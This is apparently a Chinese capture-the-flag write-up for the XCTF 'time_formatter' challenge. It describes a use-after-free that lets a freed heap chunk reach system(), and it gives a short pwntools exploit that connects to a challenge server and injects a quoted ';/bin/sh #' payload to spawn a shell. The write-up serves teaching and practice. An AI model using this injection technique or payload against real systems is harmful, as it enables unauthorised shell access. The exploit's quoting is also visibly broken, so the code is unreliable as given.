2019XCTF攻防世界之萌新入坑(time_formatter)

time_formatter

题目先给出一个菜单

2019XCTF攻防世界之萌新入坑(time_formatter)_第1张图片

选择1设置参数 格式化字符串
选择2设置参数 指定时间戳
选择3设置参数 时区
选择4对已有 时区参数的情况做处理
选择5退出 (可选择是否 退出)

2019XCTF攻防世界之萌新入坑(time_formatter)_第2张图片
选择1 malloc
2019XCTF攻防世界之萌新入坑(time_formatter)_第3张图片
2019XCTF攻防世界之萌新入坑(time_formatter)_第4张图片

选择3同样是一个malloc

选择4 一个后面,读入字符串,并作为system的参数
2019XCTF攻防世界之萌新入坑(time_formatter)_第5张图片
选择5 free掉ptr、value两个堆块

2019XCTF攻防世界之萌新入坑(time_formatter)_第6张图片
利用use after free

选择1设置 格式化字符串 (malloc(n))
选择3设置时区 (malloc(n)),传入参数/bin/sh,利用’’\将参数括起来,‘;’用来传参
选择5 退出 (选择否 , 目的是 free上面的两个块)
选择3设置时区(消耗时区 free的块)
选择4设置时区 (使用格式化字符串free的块)

2019XCTF攻防世界之萌新入坑(time_formatter)_第7张图片
exp

from pwn import *
r = remote("111.198.29.45", 30168)
 r.send("1" + "\n") 
r.send("%c" + "\n") 
r.send("3" + "\n") 
r.send("\'"+";/bin/sh #"+"\" + "\n") 
r.send("5" + "\n") 
r.send("\n") 
r.send("3" + "\n") 
r.send("\'"+";/bin/sh #"+"\" + "\n") 
r.send("4" + "\n") 
r.interactive() 

你可能感兴趣的:(pwn)